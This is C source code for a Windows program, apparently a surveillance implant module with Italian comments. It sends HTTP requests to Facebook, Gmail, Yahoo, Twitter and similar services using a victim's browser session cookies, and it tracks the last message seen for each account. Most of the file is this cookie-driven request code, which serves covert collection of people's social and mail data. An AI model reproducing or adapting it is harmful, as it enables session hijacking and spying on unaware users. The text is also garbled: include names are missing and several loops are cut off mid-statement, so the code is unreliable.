#include #include #include #include "utils.h" #include "zmem.h" #include "globals.h" #include "social.h" #include "facebook.h" #include "gmail.h" #include "yahoo.h" #include "twitter.h" #include "cookies.h" #include "proto.h" #include "crypt.h" #include "conf.h" #include "debug.h" #include "photo_facebook.h" #include "position.h" #include "googledocs.h" #include "device.h" #undef _INCLUDE_GLOBAL_FUNCTIONS_ #include "version.h" HINTERNET gHttpSocialSession = NULL; SOCIAL_ENTRY pSocialEntry[SOCIAL_ENTRY_COUNT]; SOCIAL_LOGS lpSocialLogs[MAX_SOCIAL_QUEUE]; SOCIAL_TIMESTAMPS pSocialTimeStamps[SOCIAL_MAX_ACCOUNTS]; UINT64 SocialGetLastMessageId(__in LPSTR strUser) { DWORD dwHigh = 0; DWORD dwLow = SocialGetLastTimestamp(strUser, &dwHigh); return (UINT64) dwHigh << 32 | dwLow; } VOID SocialSetLastMessageId(__in LPSTR strUser, __in UINT64 messageId) { DWORD high = (DWORD)( messageId >> 32 ); DWORD low = (DWORD)( messageId ); SocialSetLastTimestamp(strUser, low, high); } DWORD SocialGetLastTimestamp(__in LPSTR strUser, __out LPDWORD dwHighPart) { if (dwHighPart) *dwHighPart = SOCIAL_INVALID_TSTAMP; if (!strUser || !strUser[0]) return SOCIAL_INVALID_TSTAMP; for (DWORD i=0; isizeof(temp_buffer)) break; if (!(ptr = (BYTE *)realloc((*lpRecvBuff), (*dwRespSize) + n_read + sizeof(WCHAR)))) break; *lpRecvBuff = ptr; memcpy(((*lpRecvBuff) + (*dwRespSize)), temp_buffer, n_read); *dwRespSize = (*dwRespSize) + n_read; // Null-termina sempre il buffer memset(((*lpRecvBuff) + (*dwRespSize)), 0, sizeof(WCHAR)); } if (!(*lpRecvBuff)) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_SUCCESS; } // Invia una richiesta HTTP e legge la risposta // Alloca il buffer con la risposta (che va poi liberato dal chiamante) DWORD HttpSocialRequest( __in LPWSTR strHostName, __in LPWSTR strHttpVerb, __in LPWSTR strHttpRsrc, __in DWORD dwPort, __in LPBYTE *lpSendBuff, __in DWORD dwSendBuffSize, __out LPBYTE *lpRecvBuff, __out DWORD *dwRespSize, __in LPSTR strCookies) { WCHAR *cookies_w; DWORD cookies_len; DWORD dwStatusCode = 0; DWORD dwTemp = sizeof(dwStatusCode); DWORD n_read; char *types[] = { "*\x0/\x0*\x0",0 }; HINTERNET hConnect, hRequest; BYTE *ptr; DWORD flags = 0; BYTE temp_buffer[8*1024]; //make sure the buffer is initialized *lpRecvBuff = NULL; // Manda la richiesta cookies_len = strlen(strCookies); if (cookies_len == 0) return SOCIAL_REQUEST_NETWORK_PROBLEM; cookies_len++; cookies_w = (WCHAR *)zalloc(cookies_len * sizeof(WCHAR)); if (!cookies_w) return SOCIAL_REQUEST_NETWORK_PROBLEM; _snwprintf_s(cookies_w, cookies_len, _TRUNCATE, L"%S", strCookies); if (dwPort == 443) flags = WINHTTP_FLAG_SECURE; if (!(hConnect = WinHttpConnect(gHttpSocialSession, (LPCWSTR) strHostName, (INTERNET_PORT)dwPort, 0))) { zfree(cookies_w); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if ( !(hRequest = WinHttpOpenRequest(hConnect, strHttpVerb, strHttpRsrc, NULL, WINHTTP_NO_REFERER, (LPCWSTR *) types, flags)) ) { zfree(cookies_w); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if (!WinHttpAddRequestHeaders(hRequest, L"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", -1, WINHTTP_ADDREQ_FLAG_REPLACE | WINHTTP_ADDREQ_FLAG_ADD)) // FIXME array-izza la stringa { zfree(cookies_w); WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if (!WinHttpAddRequestHeaders(hRequest, cookies_w, -1, WINHTTP_ADDREQ_FLAG_REPLACE | WINHTTP_ADDREQ_FLAG_ADD)) { zfree(cookies_w); WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, lpSendBuff, dwSendBuffSize, dwSendBuffSize, NULL)) { zfree(cookies_w); WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } zfree(cookies_w); // Legge la risposta if(!WinHttpReceiveResponse(hRequest, 0)) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if (!WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE| WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwStatusCode, &dwTemp, NULL )) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if (dwStatusCode != HTTP_STATUS_OK) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_BAD_COOKIE; } *dwRespSize = 0; //spostato all'inizio della funzione perchè causava un leak in caso di errore prima di questo punto (free di questa variabile non inizializzata) //*lpRecvBuff = NULL; for(;;) { if (!WinHttpReadData(hRequest, temp_buffer, sizeof(temp_buffer), &n_read) || n_read==0 || n_read>sizeof(temp_buffer)) break; if (!(ptr = (BYTE *)realloc((*lpRecvBuff), (*dwRespSize) + n_read + sizeof(WCHAR)))) break; *lpRecvBuff = ptr; memcpy(((*lpRecvBuff) + (*dwRespSize)), temp_buffer, n_read); *dwRespSize = (*dwRespSize) + n_read; // Null-termina sempre il buffer memset(((*lpRecvBuff) + (*dwRespSize)), 0, sizeof(WCHAR)); } if (!(*lpRecvBuff)) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_SUCCESS; } VOID InitSocialEntries() { ULONG n = 0; SecureZeroMemory(pSocialEntry, sizeof(SOCIAL_ENTRY)*SOCIAL_ENTRY_COUNT-1); for (DWORD i=0; i 0) { cookies_len++; cookies_w = (WCHAR *)zalloc(cookies_len * sizeof(WCHAR)); if (!cookies_w) return SOCIAL_REQUEST_NETWORK_PROBLEM; _snwprintf_s(cookies_w, cookies_len, _TRUNCATE, L"%S", strCookies); if (dwPort == 443) flags = WINHTTP_FLAG_SECURE; } } if (!(hConnect = WinHttpConnect(gHttpSocialSession, (LPCWSTR) strHostName, (INTERNET_PORT)dwPort, 0))) { zfree(cookies_w); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if ( !(hRequest = WinHttpOpenRequest(hConnect, strHttpVerb, strHttpRsrc, NULL, WINHTTP_NO_REFERER, (LPCWSTR *) types, flags)) ) { zfree(cookies_w); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if (!WinHttpAddRequestHeaders(hRequest, strHeader, -1, WINHTTP_ADDREQ_FLAG_REPLACE | WINHTTP_ADDREQ_FLAG_ADD)) // FIXME array-izza la stringa { zfree(cookies_w); WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if(cookies_w != NULL) { if (!WinHttpAddRequestHeaders(hRequest, cookies_w, -1, WINHTTP_ADDREQ_FLAG_REPLACE | WINHTTP_ADDREQ_FLAG_ADD)) { zfree(cookies_w); WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } } if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, lpSendBuff, dwSendBuffSize, dwSendBuffSize, NULL)) { zfree(cookies_w); WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } zfree(cookies_w); // Legge la risposta if(!WinHttpReceiveResponse(hRequest, 0)) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } dwTemp = sizeof(dwStatusCode); if (!WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE| WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwStatusCode, &dwTemp, NULL )) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if (dwStatusCode != HTTP_STATUS_OK) { // WinHttpCloseHandle(hRequest); // WinHttpCloseHandle(hConnect); // return SOCIAL_REQUEST_BAD_COOKIE; } *dwRespSize = 0; for(;;) { if (!WinHttpReadData(hRequest, temp_buffer, sizeof(temp_buffer), &n_read) || n_read==0 || n_read>sizeof(temp_buffer)) break; if (!(ptr = (BYTE *)realloc((*lpRecvBuff), (*dwRespSize) + n_read + sizeof(WCHAR)))) break; *lpRecvBuff = ptr; memcpy(((*lpRecvBuff) + (*dwRespSize)), temp_buffer, n_read); *dwRespSize = (*dwRespSize) + n_read; // Null-termina sempre il buffer memset(((*lpRecvBuff) + (*dwRespSize)), 0, sizeof(WCHAR)); //size check if((dwMaxSize > 0) && (*dwRespSize > dwMaxSize)) break; } if ((!(*lpRecvBuff)) && (dwStatusCode != HTTP_STATUS_OK)) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); if (dwStatusCode != HTTP_STATUS_OK) return SOCIAL_REQUEST_BAD_COOKIE; return SOCIAL_REQUEST_SUCCESS; } .